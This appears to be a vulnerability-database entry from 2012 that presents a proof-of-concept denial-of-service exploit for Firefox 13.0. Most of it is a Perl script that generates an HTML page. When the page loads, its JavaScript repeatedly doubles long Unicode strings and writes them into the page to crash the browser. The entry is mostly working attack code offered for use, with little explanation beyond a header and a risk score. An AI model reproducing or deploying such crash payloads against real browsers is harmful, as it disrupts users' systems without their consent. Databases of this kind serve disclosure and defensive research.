Mozilla Firefox Web Browser 13.0 Remote Denial Of Service

🗓️ 14 Jun 2012 00:00:00Reported by Ucha GobejishviliType

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Mozilla Firefox Web Browser 13.0 Remote Denial Of Service vulnerability proof of concept exploit in Perl scrip

`#!/usr/bin/perl  
# Mozilla Firefox Web Browser 13.0 Remote Denial-of-service Exploit Proof  
of Concept  
# Author: Ucha Gobejishvili  
  
use Term::ANSIColor qw(:constants);  
  
open FH, ">poc.html";  
  
print FH "<html>  
<title>Hello World!</title>  
<head>  
<script>  
function boom()  
{  
  
var longunistring1 = unescape('%u4141%u4141');  
var longunistring2 = unescape('%u4242%u4242');  
var longunistring3 = unescape('%u4343%u4343');  
var longunistring4 = unescape('%u4444%u4444');  
  
for(i=0; i <= 60 ; ++i)  
{  
longunistring1+=longunistring1;  
longunistring2+=longunistring2;  
longunistring3+=longunistring3;  
longunistring4+=longunistring4;  
document.write(longunistring1);  
document.write(longunistring2);  
document.write(longunistring3);  
document.write(longunistring4);  
}  
document.write(longunistring1);  
document.write(longunistring2);  
document.write(longunistring3);  
document.write(longunistring4);  
}  
</script>  
</head>  
<body onLoad='boom()'>  
<H1> Working! </h1>  
</body>  
</html> \n";  
close FH;  
  
print RED, "POC Created.";  
  
print " \n";  
  
exit;  
`

14 Jun 2012 00:00Current

0.3Low risk

Vulners AI Score0.3